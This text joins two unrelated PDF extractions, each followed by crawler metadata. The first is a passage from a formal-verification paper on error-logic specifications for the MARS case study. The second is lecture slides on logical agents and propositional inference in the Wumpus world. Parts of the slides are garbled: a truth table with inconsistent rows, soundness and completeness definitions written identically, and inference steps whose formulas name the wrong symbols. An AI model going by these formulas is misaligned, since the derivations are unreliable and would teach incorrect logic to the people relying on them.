The error logic component, to be specified in the next subsection, has to be notified by a message receiver that did not receive a data message in time. This is indicated by a \textit{miss} message, which has to be introduced because using only \textit{err} and \textit{ok} signals is not sufficient for recovery according to the specification. The problem is that the \textit{err} signal indicates the absence of \( K \) data items, whereas recovery requires the presence of \( N \) consecutive data signals from the data source. Observe that, when staying in the correct operational mode,
Observe that we can use a single miss event for all message receivers. We do not need a separate event for each message receiver, because in order to recover, all message receivers have to receive \( N \) consecutive data messages. The miss signal indicates that there exists a component which missed a data message during this period. The error logic component need not know which message receiver missed the data message.
A message receiver sends a miss message to the error logic whenever a time-out for a data message occurs and it is not in an error state. If the message receiver is already in an error state, it signals \( N \) consecutive data messages using an ok message. Therefore, it is not necessary to send miss signals in this case. Sending a miss signal may be delayed by at most \( \Delta_{miss} \) time units.
\[
MR_s,5(\theta) \iff \forall j : \text{TimeOut}(d_s, P + 2J, i, j)(\theta) \land \neg \text{Error}(d_s, j)(\theta) \rightarrow \text{AfterWithin}(\text{miss}, j, \Delta_{miss})(\theta)
\]
Note that if the \( K \)th data item is missed at \( j \), the \( \text{Error}(d_s, j)(\theta) \) predicate is true and signal miss is not emitted. Instead, by \( MR_s,3 \), an err\_s signal is sent, i.e., not both a miss signal and an err\_s signal are sent.
The integrity of a miss event is specified by \( MR_s,6 \).
\[
MR_s,6(\theta) \iff \forall j : E(\theta_j) = \text{miss} \rightarrow \\
\exists i, k : i < k < j \land \neg \text{Error}(d_s, i)(\theta) \land \\
\text{TimeOut}(d_s, P + 2J, i, k)(\theta) \land \text{Never}(\text{miss}, k, j - 1)(\theta)
\]
From \( N \) missing miss signals one can conclude that the data source \( s \) has received \( N \) consecutive data messages:
**Lemma 1.** For any \( s, i, j \), if \( \text{TimeOut}(\text{miss}, NP + 2J, i, j) \) then \( \text{occ}(d_s, N, i, j) \)
More importantly, the timeout of the miss signal implies that all message receivers have received \( N \) consecutive data messages.
**Corollary 2.** For all \( i, j \), if \( \text{TimeOut}(\text{miss}, NP + 2J, i, j) \), then \( \text{Recover}(D, i, j) \)
Finally, we specify a message receiver for a source \( s \) as \( MR_s(\theta) \iff \bigwedge_{1 \leq i \leq 6} MR_s,i(\theta) \).
### 5.2 Error Logic
The error logic component accepts err\_s and ok\_s signals from each data source \( s \), as well as a signal miss indicating that there exists a data source \( s \) that has not received data from its source during this cycle. The error logic will emit an err signal if it detects an error in the system and an ok signal if the system recovers after an error. The behaviour of the error logic is specified in the state machine of Figure 4.
State AllOk indicates that the system operates normally. When receiving an err\_s signal
in this state, for some $s \in \{1, 2\}$, signal $err_s$ is sent and state $Err_s$ is entered. Recovery from this state occurs when an $ok_s$ signal is received. But if an error signal is received for the other source, state $Errors$ is entered, indicating that the system has to recover from an error in both data sources.
As long as the system is in the AllOk state it ignores all $miss$ signals. If the system is in an error state, i.e., one of $err_1$, $err_2$, or $Errors$, and it receives a $miss$ signal, the error logic has to wait for a new time-out of the $miss$ signal and the required number of $ok$ signals in order to return to normal operation, which is represented by the states Miss$1$, Miss$2$, Miss, and Wait. The system measures the time elapsed since the latest reception of a $miss$ signal using the clock $t$. Consequently, it resets $t$ whenever it receives a $miss$ signal or a $err_s$ signal.
State Wait is entered whenever one of the Miss$\_s$ states has been left after receiving the corresponding $ok_s$ signal, and the error logic itself has to emit an $ok$ signal to confirm that the system has recovered from the error condition. Observe that we have to wait until the end of the current period in order to assert that during this time neither message receiver sends an error signal. After a time-out of the $miss$ signal, state Wait is left, AllOk is entered, and an $ok$ signal is emitted.
As an example, we give a scenario to show that state Wait is reachable. Suppose an $err_1$ signal is received in state AllOk, leading to state $Err_1$. During the next period a $miss$ signal is received from message receiver 2. This causes a state change to Miss$1$, indicating that it has to receive an $ok_1$ signal and, moreover, has to wait until message receiver 2 received $N$ consecutive data messages. Observe that in this situation message receiver
1 only has to receive \(N - 1\) data messages. Assuming that both message receivers will receive their data messages, message receiver 1 sends its \(ok_1\) signal after \(N - 1\) periods, after which state Wait is entered. Next the error logic component has to wait another period in order to make sure that message receiver 2 has received its \(N\)th data message, after which it may signal recovery.
In order to specify the error logic component in a declarative way, we first formalise whether an error of data source \(s\) has been detected and when the system is in state AllOk.
\[
\text{Error}(i, s)(\theta) \overset{\text{def}}{\iff} \exists m : m \leq i \land E(\theta_m) = err_s \land \text{Never}(ok_s, m + 1, i)(\theta)
\]
\[
\text{AllOk}(i)(\theta) \overset{\text{if}}{\iff} \forall s : \neg \text{Error}(i, s)(\theta)
\]
The validity and integrity of an \(err\) signal indicating error is specified as follows, using a maximal delay of \(\Delta_{EL}^{err}\) time units.
\[
\text{EL}_1(\theta) \overset{\text{def}}{\iff} \forall i : \text{AllOk}(i)(\theta) \land (\exists s : E(\theta_{i+1}) = err_s) \rightarrow \text{AfterWithin}(err, i + 1, \Delta_{EL}^{err})
\]
\[
\text{EL}_2(\theta) \overset{\text{def}}{\iff} \forall j : E(\theta_j) = err \rightarrow \exists i : i < j \land \text{AllOk}(i)(\theta) \land (\exists s : E(\theta_{i+1}) = err_s) \land \text{Never}(err, i + 2, j - 1)(\theta)
\]
The next predicate states that a data source \(s\) recovers from an error:
\[
\text{Recover}(i, s)(\theta) \overset{\text{def}}{\iff} \forall i : \text{Error}(i - 1, s)(\theta) \land E(\theta_i) = ok_s
\]
Next, using a maximal delay of \(\Delta_{EL}^{ok}\), the validity and integrity of an \(ok\) signal is specified.
\[
\text{EL}_3(\theta) \overset{\text{def}}{\iff} \forall i : (\exists s : \text{Recover}(i, s)(\theta)) \land (\forall s : \neg \text{Error}(i, s)) \land (\exists k : \text{TimeOut}(miss, NP + 2J, k, i)(\theta) \rightarrow \text{AfterWithin}(ok, i, \Delta_{EL}^{ok}))
\]
\[
\text{EL}_4(\theta) \overset{\text{def}}{\iff} \forall j : E(\theta_i) = ok \rightarrow \exists i : i < j \land (\exists s : \text{Recover}(i, s)(\theta)) \land (\forall s : \neg \text{Error}(i, s)) \land \text{Never}(ok, i + 1, j - 1) \land (\exists k : \text{TimeOut}(miss, NP + 2J, k, i)(\theta))
\]
The error logic is specified by the assertion: \(\text{EL}(\theta) \overset{\text{def}}{=} \bigwedge_{1 \leq i \leq 4} \text{EL}_i(\theta)\)
### 6 Conclusions
We have presented a compositional framework for the compositional verification of high-level real-time components which communicate by means of events. Compositional proof rules for parallel composition and hiding have been proved sound in PVS. In this way, we can use deductive verification in PVS to prove the correctness of a decomposition of a system into a number of communicating components. Next, the components can be implemented independently using UML, according to their specification, and the correctness of the implementation with respect to the interface specification may be established by means of other techniques, such as model checking.
The framework has been applied to the MARS case study, which has been supplied by the Netherlands National Aerospace Laboratory in the form of UML models. The specifications presented here are the result of a long and arduous path leading to consistent specifications of the parts and the full formal proof in PVS. In general, interactive verification of UML models is very complex because we have to deal with many features simultaneously, such as timing, synchronous operation calls, asynchronous signals, threads of control, and hierarchical state machines. Hence, compositionality and abstraction are essential to improve scalability. Verifying the MARS case study indeed shows that deductive verification is more suitable for the correctness proofs of high-level decompositions, to eventually obtain relatively small components that are suitable for model checking.
Since the original UML model of MARS was monolithic, a redesign of the original system was necessary to enable the application of compositional techniques and increase our understanding of the model. Interestingly, this led to a design that is more flexible, e.g., for changing the error logic, and more easily extensible, e.g., to more data sources, than the original model.
Errors in the decomposition of the MARS system have been found using model checking (by means of the IF validation environment [BFG±00] and UPPAAL [LPY95]) and by the fact that no proof could be found for the original specification. One of these errors was that we did not include a miss signal, which is required to correctly observe recovery in the error logic component. Otherwise, the system recovered in circumstances where the global specification did not allow this.
Observe that the compositional approach requires substantial additional effort to obtain appropriate specifications for the components. Finding suitable specifications is difficult. Hence, it is advisable to start with finite high-level components and to simulate and to model-check these as much as possible. Apply interactive verification only when sufficient confidence has been obtained. Finally, it is good to realise that interactive verification is quite time consuming and requires detailed knowledge of the tool.
Acknowledgements We would like to thank all partners of the OMEGA project for many fruitful discussions on the MARS case study.
References
[HdR85] Jozef Hooman and Willem-Paul de Roever. The Quest goes on: A survey of Proof Systems for Partial Correctness of CSP. In de Bakker et al. [dBdRR85].
|
{"Source-Url": "https://repository.ubn.ru.nl/bitstream/handle/2066/36015/36015.pdf?sequence=1", "len_cl100k_base": 7922, "olmocr-version": "0.1.53", "pdf-total-pages": 13, "total-fallback-pages": 0, "total-input-tokens": 45572, "total-output-tokens": 9789, "length": "2e12", "weborganizer": {"__label__adult": 0.0004506111145019531, "__label__art_design": 0.0005674362182617188, "__label__crime_law": 0.0005993843078613281, "__label__education_jobs": 0.0009207725524902344, "__label__entertainment": 0.00010579824447631836, "__label__fashion_beauty": 0.00020956993103027344, "__label__finance_business": 0.0003190040588378906, "__label__food_dining": 0.0004398822784423828, "__label__games": 0.0009326934814453124, "__label__hardware": 0.00255584716796875, "__label__health": 0.0008130073547363281, "__label__history": 0.0004661083221435547, "__label__home_hobbies": 0.00013065338134765625, "__label__industrial": 0.0008940696716308594, "__label__literature": 0.0003306865692138672, "__label__politics": 0.00045108795166015625, "__label__religion": 0.0006966590881347656, "__label__science_tech": 0.1619873046875, "__label__social_life": 0.00010722875595092772, "__label__software": 0.00823974609375, "__label__software_dev": 0.81640625, "__label__sports_fitness": 0.0003871917724609375, "__label__transportation": 0.0017805099487304688, "__label__travel": 0.0003082752227783203}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 32463, 0.0147]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 32463, 0.32973]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 32463, 0.836]], "google_gemma-3-12b-it_contains_pii": [[0, 0, null], [0, 2395, false], [2395, 5766, null], [5766, 9058, null], [9058, 11061, null], [11061, 13756, null], [13756, 16708, null], [16708, 19028, null], [19028, 21815, null], [21815, 23700, null], [23700, 26837, null], [26837, 29960, null], [29960, 32463, null]], "google_gemma-3-12b-it_is_public_document": [[0, 0, null], [0, 2395, true], [2395, 5766, null], [5766, 9058, null], [9058, 11061, null], [11061, 13756, null], [13756, 16708, null], [16708, 19028, null], [19028, 21815, null], [21815, 23700, null], [23700, 26837, null], [26837, 29960, null], [29960, 32463, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 32463, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 32463, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 32463, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 32463, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 32463, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 32463, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 32463, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 32463, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 32463, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 32463, null]], "pdf_page_numbers": [[0, 0, 1], [0, 2395, 2], [2395, 5766, 3], [5766, 9058, 4], [9058, 11061, 5], [11061, 13756, 6], [13756, 16708, 7], [16708, 19028, 8], [19028, 21815, 9], [21815, 23700, 10], [23700, 26837, 11], [26837, 29960, 12], [29960, 32463, 13]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 32463, 0.0]]}
|
olmocr_science_pdfs
|
2024-12-10
|
2024-12-10
|
cbfbb43a15ea739a135c14f4811af8a831559c33
|
Logical Agents
*(Chapter 7 (Russel & Norvig, 2004))
Outline
- Knowledge-based agents
- Wumpus world
- Logic in general - models and entailment
- Propositional (Boolean) logic
- Equivalence, validity, satisfiability
- Inference rules and theorem proving
- forward chaining
- backward chaining
- resolution
Knowledge bases
- Knowledge base = set of sentences in a formal language
- **Declarative** approach to building an agent (or other system):
- Tell it what it needs to know
- Then it can ask itself what to do - answers should follow from the KB
- Agents can be viewed at the **knowledge level**
- i.e., what they know, regardless of how implemented
- Or at the **implementation level**
- i.e., data structures in KB and algorithms that manipulate them
---
A simple knowledge-based agent
```java
function KB-AGENT(percept) returns an action
static: KB, a knowledge base
t, a counter, initially 0, indicating time
TELL(KB, MAKE-PERCEPT-SENTENCE(percept, t))
action ← ASK(KB, MAKE-ACTION-QUERY(t))
TELL(KB, MAKE-ACTION-SENTENCE(action, t))
t ← t + 1
return action
```
- The agent must be able to:
- Represent states, actions, etc.
- Incorporate new percepts
- Update internal representations of the world
- Deduce hidden properties of the world
- Deduce appropriate actions
Wumpus World PEAS description
- **Performance measure**
- gold +1000, death -1000
- -1 per step, -10 for using the arrow
- **Environment**
- Squares adjacent to wumpus are smelly
- Squares adjacent to pit are breezy
- Glitter iff gold is in the same square
- Shooting kills wumpus if you are facing it
- Shooting uses up the only arrow
- Grabbing picks up gold if in same square
- Releasing drops the gold in same square
- **Sensors** Stench, Breeze, Glitter, Bump, Scream
- **Actuators** Left turn, Right turn, Forward, Grab, Release, Shoot
Wumpus world characterization
- **Fully Observable** No – only local perception
- **Deterministic** Yes – outcomes exactly specified
- **Episodic** No – sequential at the level of actions
- **Static** Yes – Wumpus and Pits do not move
- **Discrete** Yes
- **Single-agent?** Yes – Wumpus is essentially a natural feature
Exploring a wumpus world
Exploring a wumpus world
Exploring a wumpus world
Exploring a wumpus world
Exploring a wumpus world
- Breeze in (2,1) and (1,2):
- no safe actions
- Assuming evenly distribution of pits:
- (2,2) has pit w/ prob 0.86, vs. 0.31
- Smell in (1,1)
- cannot move, can use a strategy of coercion:
- shoot straight ahead
- if wumpus was there then
- wumpus dead
- if wumpus dead then safe
- else safe
Logic in general
- Logics are formal languages for representing information such that conclusions can be drawn
- Syntax defines the sentences in the language
- Semantics define the "meaning" of sentences;
- i.e., define truth of a sentence in a world
- E.g., the language of arithmetic
- $x+2 \geq y$ is a sentence; $x^2 + y > \emptyset$ is not a sentence
- $x+2 \geq y$ is true iff the number $x+2$ is no less than the number $y$
- $x+2 \geq y$ is true in a world where $x = 7$, $y = 1$
- $x+2 \geq y$ is false in a world where $x = 0$, $y = 6$
Entailment
- **Entailment** means that one thing logically follows from another:
\[ KB \models \alpha \]
- Knowledge base \( KB \) entails sentence \( \alpha \) if and only if \( \alpha \) is true in all worlds where \( KB \) is true
- E.g., the KB containing “the Giants won” and “the Reds won” entails “Either the Giants won or the Reds won”
- E.g., \( x+y = 4 \) entails \( 4 = x+y \)
- Entailment is a relationship between sentences (i.e., syntax) that is based on semantics
Models
- Logicians typically think in terms of **models**, which are formally structured worlds with respect to which truth can be evaluated
- We say \( m \) is a model of a sentence \( \alpha \) if \( \alpha \) is true in \( m \)
- \( M(\alpha) \) is the set of all models of \( \alpha \)
- Then the **formal definition of KB** \( KB \models \alpha \) is:
\[ KB \models \alpha \text{ holds if and only if } \alpha \text{ is true in every model in which } KB \text{ is true} \]
\[ \text{or} \]
\[ \text{iff } M(KB) \subseteq M(\alpha) \]
- E.g. \( KB = \) Giants won and Reds won \( \alpha = \) Giants won
Entailment in the wumpus world
- Situation after detecting nothing in [1,1], moving right, breeze in [2,1]:
- Consider possible models for wumpus KB assuming only pits
- 3 Boolean choices $\Rightarrow$ 8 possible models
Wumpus models
- $KB = \text{wumpus-world rules + observations}$
Wumpus models
- $KB = \text{wumpus-world rules + observations}$
- $\alpha_1 = \text{"[1,2] is safe"}$, $KB \models \alpha_1$, proved by **model checking**
**Wumpus models**
- $KB = \text{wumpus-world rules} + \text{observations}$
- $\alpha_2 = \text{"[2,2] is safe"}$, $KB \not\models \alpha_2$
---
**Inference**
- $KB \models \alpha = \text{sentence } \alpha \text{ can be derived from } KB \text{ by procedure } i$
- **Soundness**: $i$ is sound if whenever $KB \models \alpha$, it is also true that $KB \models \alpha$
- **Completeness**: $i$ is complete if whenever $KB \models \alpha$, it is also true that $KB \models \alpha$
- Preview: we will define a logic (first-order logic) which is expressive enough to say almost anything of interest, and for which there exists a sound and complete inference procedure.
- That is, the procedure will answer any question whose answer follows from what is known by the $KB$.
Propositional logic: Syntax
- Propositional logic is the simplest logic – illustrates basic ideas
- The proposition symbols $P_1$, $P_2$ etc are sentences
- If $S$ is a sentence, $\neg S$ is a sentence (negation)
- If $S_1$ and $S_2$ are sentences, $S_1 \land S_2$ is a sentence (conjunction)
- If $S_1$ and $S_2$ are sentences, $S_1 \lor S_2$ is a sentence (disjunction)
- If $S_1$ and $S_2$ are sentences, $S_1 \Rightarrow S_2$ is a sentence (implication)
- If $S_1$ and $S_2$ are sentences, $S_1 \Leftrightarrow S_2$ is a sentence (biconditional)
Propositional logic: Semantics
Each model specifies true/false for each proposition symbol, e.g.:
$$m_1 = \{P_{1,2} = \text{true}, P_{2,2} = \text{true}, P_{3,1} = \text{false}\}$$
Using the 3 symbols, 8 possible models, can be enumerated automatically.
Rules for evaluating truth with respect to a model $m$:
- $\neg S$ is true iff $S$ is false
- $S_1 \land S_2$ is true iff $S_1$ is true and $S_2$ is true
- $S_1 \lor S_2$ is true iff $S_1$ is true or $S_2$ is true
- $S_1 \Rightarrow S_2$ is true iff $S_1$ is false or $S_2$ is true
- i.e., is false iff $S_1$ is true and $S_2$ is false
- $S_1 \Leftrightarrow S_2$ is true iff $S_1 \Rightarrow S_2$ is true and $S_2 \Rightarrow S_1$ is true
Simple recursive process evaluates an arbitrary sentence, e.g.,
$$\neg P_{1,2} \land (P_{2,2} \lor P_{3,1}) = \text{true} \land (\text{true} \lor \text{false}) = \text{true} \land \text{true} = \text{true}$$
Truth tables for connectives
<table>
<thead>
<tr>
<th>$P$</th>
<th>$Q$</th>
<th>$\neg P$</th>
<th>$P \land Q$</th>
<th>$P \lor Q$</th>
<th>$P \Rightarrow Q$</th>
<th>$P \Leftrightarrow Q$</th>
</tr>
</thead>
<tbody>
<tr>
<td>false</td>
<td>false</td>
<td>true</td>
<td>false</td>
<td>false</td>
<td>true</td>
<td>true</td>
</tr>
<tr>
<td>false</td>
<td>true</td>
<td>true</td>
<td>false</td>
<td>true</td>
<td>false</td>
<td>false</td>
</tr>
<tr>
<td>true</td>
<td>false</td>
<td>false</td>
<td>true</td>
<td>true</td>
<td>false</td>
<td>false</td>
</tr>
<tr>
<td>true</td>
<td>true</td>
<td>false</td>
<td>true</td>
<td>true</td>
<td>true</td>
<td>true</td>
</tr>
</tbody>
</table>
Wumpus world sentences
- Let $P_{i,j}$ be true if there is a pit in [i, j].
- Let $B_{i,j}$ be true if there is a breeze in [i, j].
For all wumpus worlds:
- No pit in $P_{1,1}$
- "Pits cause breezes in adjacent squares" or "A square is breezy if and only if there is an adjacent pit"
For the specific world:
- No breeze in $B_{1,1}$
- Breeze in $B_{2,1}$
$$R_1 : \neg P_{1,1}$$
$$R_2 : B_{1,1} \equiv (P_{1,2} \lor P_{2,1})$$
$$R_3 : B_{2,1} \equiv (P_{1,1} \lor P_{2,2} \lor P_{3,1})$$
$$R_4 : \neg B_{1,1}$$
$$R_5 : B_{2,1}$$
Truth tables for inference
<table>
<thead>
<tr>
<th></th>
<th>B_{1,1}</th>
<th>B_{2,1}</th>
<th>P_{1,1}</th>
<th>P_{1,2}</th>
<th>P_{2,1}</th>
<th>P_{2,2}</th>
<th>P_{3,1}</th>
<th>R_1</th>
<th>R_2</th>
<th>R_3</th>
<th>R_4</th>
<th>R_5</th>
<th>KB</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>true</td>
<td>false</td>
<td>true</td>
<td>true</td>
<td>false</td>
<td>true</td>
<td>true</td>
<td>true</td>
<td>true</td>
<td>true</td>
<td>true</td>
<td>true</td>
<td>false</td>
</tr>
<tr>
<td></td>
<td>false</td>
<td>false</td>
<td>false</td>
<td>false</td>
<td>false</td>
<td>false</td>
<td>false</td>
<td>false</td>
<td>false</td>
<td>false</td>
<td>true</td>
<td>true</td>
<td>true</td>
</tr>
<tr>
<td></td>
<td>false</td>
<td>true</td>
<td>false</td>
<td>false</td>
<td>false</td>
<td>true</td>
<td>false</td>
<td>false</td>
<td>false</td>
<td>false</td>
<td>true</td>
<td>true</td>
<td>true</td>
</tr>
<tr>
<td></td>
<td>false</td>
<td>true</td>
<td>false</td>
<td>false</td>
<td>false</td>
<td>true</td>
<td>true</td>
<td>true</td>
<td>true</td>
<td>true</td>
<td>true</td>
<td>true</td>
<td>true</td>
</tr>
<tr>
<td></td>
<td>false</td>
<td>true</td>
<td>false</td>
<td>false</td>
<td>false</td>
<td>true</td>
<td>true</td>
<td>true</td>
<td>true</td>
<td>true</td>
<td>true</td>
<td>true</td>
<td>true</td>
</tr>
<tr>
<td></td>
<td>false</td>
<td>true</td>
<td>false</td>
<td>false</td>
<td>false</td>
<td>true</td>
<td>true</td>
<td>true</td>
<td>true</td>
<td>true</td>
<td>true</td>
<td>true</td>
<td>true</td>
</tr>
<tr>
<td></td>
<td>true</td>
<td>true</td>
<td>true</td>
<td>true</td>
<td>true</td>
<td>true</td>
<td>true</td>
<td>true</td>
<td>true</td>
<td>true</td>
<td>true</td>
<td>true</td>
<td>true</td>
</tr>
</tbody>
</table>
• Enumerate rows (different assignments to symbols), if KB is true in row, check that α is too.
Inference by enumeration
• Depth-first enumeration of all models is sound and complete
function TT-ENTAILS?(KB, α) returns true or false
inputs: KB, the knowledge base, a sentence in propositional logic
α, the query, a sentence in propositional logic
symbols — a list of the proposition symbols in KB and α
return TT-CHECK-ALL(KB, α, symbols, [])
function TT-CHECK-ALL(KB, α, symbols, model) returns true or false
if EMPTY?(symbols) then
if PL-TRUE?(KB, model) then return PL-TRUE?(α, model)
else return true
else do
P ← FIRST(symbols); rest ← REST(symbols)
return TT-CHECK-ALL(KB, α, rest, EXTEND(P, true, model)) and
TT-CHECK-ALL(KB, α, rest, EXTEND(P, false, model))
• For n symbols, time complexity is O(2^n), space complexity is O(n)
Logical equivalence
- Two sentences are logically equivalent iff true in same models: \( \alpha \equiv \beta \) iff \( \alpha \models \beta \) and \( \beta \models \alpha \)
\[
\begin{align*}
(\alpha \land \beta) & \equiv (\beta \land \alpha) & \text{commutativity of } \land \\
(\alpha \lor \beta) & \equiv (\beta \lor \alpha) & \text{commutativity of } \lor \\
((\alpha \land \beta) \land \gamma) & \equiv (\alpha \land (\beta \land \gamma)) & \text{associativity of } \land \\
((\alpha \lor \beta) \lor \gamma) & \equiv (\alpha \lor (\beta \lor \gamma)) & \text{associativity of } \lor \\
\neg(\neg \alpha) & \equiv \alpha & \text{double-negation elimination} \\
(\alpha \Rightarrow \beta) & \equiv (\neg \beta \Rightarrow \neg \alpha) & \text{contraposition} \\
(\alpha \Rightarrow \beta) & \equiv (\neg \alpha \lor \beta) & \text{implication elimination} \\
(\alpha \Leftrightarrow \beta) & \equiv ((\alpha \Rightarrow \beta) \land (\beta \Rightarrow \alpha)) & \text{biconditional elimination} \\
\neg(\alpha \land \beta) & \equiv (\neg \alpha \lor \neg \beta) & \text{De Morgan} \\
\neg(\alpha \lor \beta) & \equiv (\neg \alpha \land \neg \beta) & \text{De Morgan} \\
(\alpha \land (\beta \lor \gamma)) & \equiv ((\alpha \land \beta) \lor (\alpha \land \gamma)) & \text{distributivity of } \land \text{ over } \lor \\
(\alpha \lor (\beta \land \gamma)) & \equiv ((\alpha \lor \beta) \land (\alpha \lor \gamma)) & \text{distributivity of } \lor \text{ over } \land
\end{align*}
\]
Validity and satisfiability
A sentence is valid if it is true in all models,
e.g., True, \( A \lor \neg A, A \Rightarrow A, (A \land (A \Rightarrow B)) \Rightarrow B \)
Validity is connected to inference via the Deduction Theorem:
\( KB \models \alpha \) if and only if \( (KB \Rightarrow \alpha) \) is valid
A sentence is satisfiable if it is true in some model
e.g., \( A \lor \neg B, C \)
A sentence is unsatisfiable if it is true in no models
e.g., \( A \land \neg A \)
Satisfiability is connected to inference via the following:
\( KB \models \alpha \) if and only if \( (KB \land \neg \alpha) \) is unsatisfiable
Proof methods
• Proof methods divide into (roughly) two kinds:
1. **Model checking**
• truth table enumeration (always exponential in n)
• improved backtracking, e.g., Davis–Putnam-Logemann-Loveland (DPLL)
• heuristic search in model space (sound but incomplete)
• e.g., min-conflicts-like hill-climbing algorithms
2. **Application of inference rules**
• Legitimate (sound) generation of new sentences from old
• **Proof** = a sequence of inference rule applications
Can use inference rules as operators in a standard search algorithm
• Typically require transformation of sentences into a normal form
Inference in PL
• Inference rules
• Modus Ponens: \( \frac{\alpha \Rightarrow \beta, \alpha}{\beta} \)
• and-elimination: \( \frac{\alpha \land \beta}{\alpha} \)
• all logical equivalences can be used as inference rules, e.g.,
• \( \frac{\alpha \Leftrightarrow \beta}{(\alpha \Rightarrow \beta) \land (\beta \Rightarrow \alpha)} \) and \( \frac{\alpha \Leftrightarrow \beta}{\alpha \Rightarrow \beta} \)
• but not all are bidirectional (see Modus Ponens)
Inference in PL
1. $R_1 : \neg P_{1,1}$
2. $R_2 : B_{1,1} \iff (P_{1,2} \lor P_{2,1})$
3. $R_3 : B_{2,1} \iff (P_{1,1} \lor P_{2,2} \lor P_{3,1})$
4. $R_4 : \neg B_{1,1}$
5. $R_5 : B_{2,1}$
- **Question:** $\vdash \neg P_{1,2}$
- **Biconditional Elimination of $R_2$:** $R_6 : (B_{1,1} \Rightarrow (P_{1,2} \lor P_{2,1})) \land ((P_{1,1} \lor P_{2,2} \lor P_{3,1}) \Rightarrow B_{1,1})$
- **And-Elimination:** $R_7 : ((P_{1,2} \lor P_{2,1}) \Rightarrow B_{1,1})$
- **Contraposition:** $R_8 : (\neg B_{1,1} \Rightarrow \neg (P_{1,2} \lor P_{2,1}))$
- **Modus Ponens (With Perception $R_i$):** $R_9 : \neg (P_{1,2} \lor P_{2,1})$
- **De Morgan:** $R_{10} : \neg R_{2,1} \land \neg R_{3,1}$
- No pit in (1,2) and (2,1)
|
{"Source-Url": "https://www.techfak.uni-bielefeld.de/ags/wbski/lehre/digiSA/WS0506/MDKI/Vorlesung/vl05_logicagent1.pdf", "len_cl100k_base": 4885, "olmocr-version": "0.1.53", "pdf-total-pages": 18, "total-fallback-pages": 0, "total-input-tokens": 29663, "total-output-tokens": 5463, "length": "2e12", "weborganizer": {"__label__adult": 0.00044083595275878906, "__label__art_design": 0.0004189014434814453, "__label__crime_law": 0.0007224082946777344, "__label__education_jobs": 0.0017766952514648438, "__label__entertainment": 0.00016772747039794922, "__label__fashion_beauty": 0.00018894672393798828, "__label__finance_business": 0.0003180503845214844, "__label__food_dining": 0.0006322860717773438, "__label__games": 0.0016527175903320312, "__label__hardware": 0.0011415481567382812, "__label__health": 0.0006585121154785156, "__label__history": 0.0003685951232910156, "__label__home_hobbies": 0.00020551681518554688, "__label__industrial": 0.00072479248046875, "__label__literature": 0.00107574462890625, "__label__politics": 0.00036025047302246094, "__label__religion": 0.0006036758422851562, "__label__science_tech": 0.093017578125, "__label__social_life": 0.00017309188842773438, "__label__software": 0.00768280029296875, "__label__software_dev": 0.88623046875, "__label__sports_fitness": 0.0005068778991699219, "__label__transportation": 0.0007891654968261719, "__label__travel": 0.00022459030151367188}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 14369, 0.02049]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 14369, 0.27023]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 14369, 0.58207]], "google_gemma-3-12b-it_contains_pii": [[0, 314, false], [314, 1345, null], [1345, 2228, null], [2228, 2324, null], [2324, 2420, null], [2420, 2445, null], [2445, 2470, null], [2470, 3377, null], [3377, 4511, null], [4511, 4799, null], [4799, 4955, null], [4955, 5725, null], [5725, 7198, null], [7198, 8334, null], [8334, 10411, null], [10411, 12525, null], [12525, 13643, null], [13643, 14369, null]], "google_gemma-3-12b-it_is_public_document": [[0, 314, true], [314, 1345, null], [1345, 2228, null], [2228, 2324, null], [2324, 2420, null], [2420, 2445, null], [2445, 2470, null], [2470, 3377, null], [3377, 4511, null], [4511, 4799, null], [4799, 4955, null], [4955, 5725, null], [5725, 7198, null], [7198, 8334, null], [8334, 10411, null], [10411, 12525, null], [12525, 13643, null], [13643, 14369, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 14369, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 14369, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 14369, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 14369, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 14369, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 14369, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 14369, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 14369, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 14369, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, true], [5000, 14369, null]], "pdf_page_numbers": [[0, 314, 1], [314, 1345, 2], [1345, 2228, 3], [2228, 2324, 4], [2324, 2420, 5], [2420, 2445, 6], [2445, 2470, 7], [2470, 3377, 8], [3377, 4511, 9], [4511, 4799, 10], [4799, 4955, 11], [4955, 5725, 12], [5725, 7198, 13], [7198, 8334, 14], [8334, 10411, 15], [10411, 12525, 16], [12525, 13643, 17], [13643, 14369, 18]], 